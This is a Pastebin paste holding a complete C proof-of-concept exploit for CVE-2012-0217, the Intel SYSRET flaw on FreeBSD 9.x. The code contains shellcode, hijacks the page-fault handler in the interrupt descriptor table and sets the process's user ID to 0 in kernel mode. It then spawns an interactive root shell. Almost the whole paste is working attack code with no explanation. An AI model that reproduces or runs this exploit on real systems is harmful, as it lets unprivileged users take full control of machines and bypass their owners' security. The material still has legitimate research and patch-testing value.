Advertisement
satsura

CVE-2012-0217 (Intel SYSRET) FreeBSD 9.x PoC

Jul 4th, 2012
931
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.34 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <unistd.h>
  4.  
  5. #define _WANT_UCRED
  6. #include <sys/ucred.h>
  7. #include <sys/types.h>
  8. #include <sys/mman.h>
  9. #include <sys/proc.h>
  10.  
  11. #include <machine/segments.h>
  12. #include <machine/intr_machdep.h>
  13.  
  14. #define BSS 0
  15. #define STATIC_OFFSET 0x250
  16.  
  17. struct gate_descriptor *gt;
  18. void *uaddr, *ustack;
  19.  
  20. unsigned char shellcode[] =
  21. "\x48\xb8\x18\x00\x00\x00\x00\x00\x00\x00" // mov rax, 0x14
  22. "\x48\xba\x00\x00\x20\x00\x00\x8e\x00\x00" // mov rdx, 0xZZZZ000020XXXX # hijack of the handler PF at 0x00000000ZZZZXXXX
  23. "\x48\xbc\xb0\x41\x18\x81\xff\xff\xff\xff" // mov rsp, 0xRRRRRRRRRRRRRR # (idt + 0x250)
  24. "\x0f\x05"; // syscall
  25.  
  26. struct restore_entry {
  27. u_char idx;
  28. u_char dpl;
  29. void *addr;
  30. u_char name[10];
  31. } entries[] = {{ 0, 0, NULL, "idt0" },
  32. { 0, 0, NULL, "Xrsvd"},
  33. { IDT_DE, 0, NULL, "Xdiv" },
  34. { IDT_DB, 0, NULL, "Xdbg" },
  35. { IDT_NMI,2, NULL, "Xnmi" },
  36. { IDT_BP, 0, NULL, "Xbpt" },
  37. { IDT_OF, 0, NULL, "Xofl" },
  38. { IDT_BR, 0, NULL, "Xbnd" },
  39. { IDT_UD, 0, NULL, "Xill" },
  40. { IDT_NM, 0, NULL, "Xdna" },
  41. { IDT_DF, 1, NULL, "Xdblfault" },
  42. { IDT_FPUGP, 0, NULL, "Xfpusegm" },
  43. { IDT_TS, 0, NULL, "Xtss" },
  44. { IDT_NP, 0, NULL, "Xmissing" },
  45. { IDT_SS, 0, NULL, "Xstk" },
  46. { IDT_GP, 0, NULL, "Xprot" },
  47. { IDT_PF, 0, NULL, "Xpage" },
  48. { IDT_MF, 0, NULL, "Xfpu" },
  49. { IDT_AC, 0, NULL, "Xalign"},
  50. { IDT_MC, 0, NULL, "Xmchk" },
  51. { IDT_XF, 0, NULL, "Xxmm" }};
  52.  
  53. void *
  54. resolve_addr(char *func, int section)
  55. {
  56. u_int64_t addr;
  57. char cmd[128];
  58. snprintf(cmd, sizeof(cmd) - 1, "objdump -j %s -x /boot/kernel/kernel | grep %s", (section == BSS) ? ".bss" : ".text", func);
  59.  
  60. FILE *fd = popen(cmd, "r");
  61. if(fd == NULL)
  62. return NULL;
  63.  
  64. fread(cmd, sizeof(cmd), 1, fd);
  65. sscanf(cmd, "%lx %*s", &addr);
  66.  
  67. return (void *)addr;
  68. }
  69.  
  70. void
  71. exit_usermode(void)
  72. {
  73. setenv("PS1", "RDot> ", 1);
  74. system("/bin/sh -i");
  75. exit(0);
  76. }
  77.  
  78. void
  79. setidt(idx, func, typ, dpl, ist)
  80. int idx;
  81. void *func;
  82. int typ;
  83. int dpl;
  84. int ist;
  85. {
  86. struct gate_descriptor *ip;
  87.  
  88. ip = gt + idx;
  89. ip->gd_looffset = (uintptr_t)func;
  90. ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
  91. ip->gd_ist = ist;
  92. ip->gd_xx = 0;
  93. ip->gd_type = typ;
  94. ip->gd_dpl = dpl;
  95. ip->gd_p = 1;
  96. ip->gd_hioffset = ((uintptr_t)func)>>16 ;
  97. }
  98.  
  99. void
  100. kernel_code(void)
  101. {
  102. int x, i;
  103. struct thread *td;
  104.  
  105. __asm("movq %r10, %rsp");
  106.  
  107. for(x = 0; x < 29; x ++) {
  108. setidt(x, (void *)entries[1].addr, SDT_SYSIGT, SEL_KPL, 0);
  109. }
  110.  
  111. for(x = 2; x < sizeof(entries) / sizeof(struct restore_entry); x ++) {
  112. setidt(entries[x].idx, entries[x].addr, SDT_SYSIGT, SEL_KPL, entries[x].dpl);
  113. }
  114.  
  115. asm volatile ( "swapgs\n"
  116. "movq %%gs:0, %0":"=r"(td) );
  117.  
  118. td->td_proc->p_ucred->cr_uid = 0;
  119.  
  120. /* Return in lusermode %) */
  121. asm volatile ("movq %0, %%rcx\n"
  122. "movq %1, %%rsp\n"
  123. "swapgs\n"
  124. "sysretq"::"r"(uaddr),"r"(ustack));
  125. }
  126.  
  127. int
  128. main(int argc, char *argv[])
  129. {
  130. int x, section_type = BSS;
  131. u_short high, low;
  132. u_int64_t kaddr;
  133.  
  134. void *maddr = mmap((void *)0x7ffffffff000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON, -1, 0);
  135. if(maddr == MAP_FAILED) {
  136. perror("Error mmaped address");
  137. return -1;
  138. }
  139.  
  140. memset(maddr, 0x90, 0x1000);
  141. memcpy(maddr + 0x1000 - (sizeof(shellcode) - 1), shellcode, sizeof(shellcode) - 1);
  142.  
  143. /* Resolve all addresses */
  144. for(x = 0; x < sizeof(entries) / sizeof(struct restore_entry); x ++) {
  145. entries[x].addr = resolve_addr(entries[x].name, section_type);
  146. if(entries[x].addr == NULL) {
  147. printf("Can't resolve address for function %s\n", entries[x].name);
  148. return -1;
  149. }
  150. if (x == 0) section_type ++;
  151. }
  152.  
  153. gt = entries[0].addr;
  154.  
  155. kaddr = (u_int64_t)&kernel_code;
  156. uaddr = &exit_usermode;
  157. __asm("movq %%rsp, %0" : "=m"(ustack));
  158.  
  159. high = (kaddr >> 16);
  160. low = (kaddr);
  161.  
  162. char *ptr = (char *)0x800000000000 - 20;
  163. *(u_short *)ptr = low;
  164. ptr = (char *)0x800000000000 - 14;
  165. *(u_short *)ptr = high;
  166. ptr = (char *)0x800000000000 - 10;
  167. *(u_int64_t *)ptr = (u_int64_t)((char *)gt + STATIC_OFFSET);
  168.  
  169. (*(void(*)()) maddr)();
  170. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement